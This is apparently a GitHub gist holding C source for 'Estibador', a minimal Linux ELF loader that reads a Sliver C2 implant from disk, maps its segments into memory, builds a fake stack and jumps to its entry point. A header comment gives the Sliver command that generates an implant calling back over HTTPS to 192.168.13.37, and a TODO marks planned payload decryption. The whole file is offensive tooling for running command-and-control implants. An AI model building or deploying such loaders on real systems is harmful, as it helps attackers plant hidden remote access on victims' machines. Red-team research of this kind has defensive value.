Skip to content

Instantly share code, notes, and snippets.

@X-C3LL
Created November 12, 2023 09:58
Show Gist options
  • Save X-C3LL/58270138e2a1e43682accc7ccde94206 to your computer and use it in GitHub Desktop.
Save X-C3LL/58270138e2a1e43682accc7ccde94206 to your computer and use it in GitHub Desktop.
Minimal loader for sliver
// gcc estibador.c -o estibador -pie -fPIC
// [server] sliver > generate --http https://192.168.13.37/ --os linux --arch amd64
//Refs:
//
// https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
// binfmt_elf.c
// http://manugarg.appspot.com/aboutelfauxiliaryvectors.html
//
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#include <string.h>
#include <sys/mman.h>
#define FILE_PATH "/home/vagrant/research/loaders/elf/BLUE_FAME"
#define ROUND_UP(N, S) ((((N) + (S) - 1) / (S)) * (S))
#define ROUND_DOWN(N,S) ((N / S) * S)
struct startup {
uint64_t phdr_id;
uint64_t phdr_value;
uint64_t phent_id;
uint64_t phent_value;
uint64_t phnum_id;
uint64_t phnum_value;
uint64_t pagesz_id;
uint64_t pagesz_value;
};
char *readFromFile(char *path){
FILE *file;
long fileSize;
char* encbuffer;
file = fopen(path, "rb");
fileSize = fseek(file, 0, SEEK_END);
fileSize = ftell(file);
fseek(file, 0, SEEK_SET);
encbuffer = malloc(fileSize);
fread(encbuffer, fileSize, 1, file);
return encbuffer;
}
int main(int argc, char** argv, char** envp){
char *encbuffer;
Elf64_Ehdr *header;
Elf64_Phdr *pheader;
void *oep = NULL;
void *base_addr = -1;
void *stack;
printf("\t\t--=[Estibador v0.1 - Juan Manuel Fernandez - @TheXC3LL]=-\n\n");
/** Get the ELF content **/
//TODO decrypt
encbuffer = readFromFile(FILE_PATH);
/** Start parsing & loading**/
printf("[---> Loading ELF <---]\n");
header = (Elf64_Ehdr *)encbuffer;
pheader = (Elf64_Phdr *)(encbuffer + header->e_phoff);
oep = header->e_entry; // Get the Original Entry Point
printf("[*] OEP: %p\n", oep);
// Iterate entries
for (int i = 0; i < header->e_phnum; i++){
if (pheader[i].p_type == PT_GNU_STACK){
stack = mmap(0, 0x800000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
printf("[*] Stack created at %p\n", stack);
}
// We only want PT_LOAD entries
if (pheader[i].p_type != PT_LOAD){
continue;
}
// Map content
void *mbase = (void *)ROUND_DOWN(pheader[i].p_vaddr, 4096);
int msize = ROUND_UP(pheader[i].p_memsz + ((void *)pheader[i].p_vaddr - mbase), 4096);
int prot = 0;
if (pheader[i].p_flags & PF_R){
prot = PROT_READ;
}
if (pheader[i].p_flags & PF_W){
prot = PROT_WRITE;
}
if (pheader[i].p_flags & PF_X){
prot = PROT_EXEC;
}
mmap(mbase, msize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0);
memcpy((void *)pheader[i].p_vaddr, encbuffer + pheader[i].p_offset, pheader[i].p_filesz);
mprotect(mbase, msize, prot);
printf("[*] Mapped - %p\n", mbase);
if (base_addr > mbase){
base_addr = mbase;
}
}
printf("[*] Base address: %p\n", base_addr);
// Fill stack
char *fake_argv[] = {
'\x01',
"Adepts of 0xCC",
NULL
};
char *fake_env[] = {
"PWNED=YES",
NULL
};
struct startup auxv;
auxv.phdr_id = 3;
auxv.phdr_value = (uint64_t)(base_addr + header->e_phoff);
auxv.phent_id = 4;
auxv.phent_value = sizeof(Elf64_Phdr);
auxv.phnum_id = 5;
auxv.phnum_value = header->e_phnum;
auxv.pagesz_id = 6;
auxv.pagesz_value = 4096;
printf("[*] Copying startup info (argv, env & auxv): %p\n", stack + 0x800000 - 0x1000);
memcpy(stack + 0x800000 - 0x1000, fake_argv, sizeof(fake_argv));
memcpy(stack + 0x800000 - 0x1000 + sizeof(fake_argv), fake_env, sizeof(fake_env));
memcpy(stack + 0x800000 - 0x1000 + sizeof(fake_argv) + sizeof(fake_env), &auxv, sizeof(auxv));
// Jump to the OEP
printf("[*] Jumping to the entry point - Wish me luck!\n");
register long rsp __asm__("rsp") = (long)(stack + 0x800000 - 0x1000);
__asm__ __volatile__(
"jmp *%0\n"
:
: "r" (oep)
:
);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment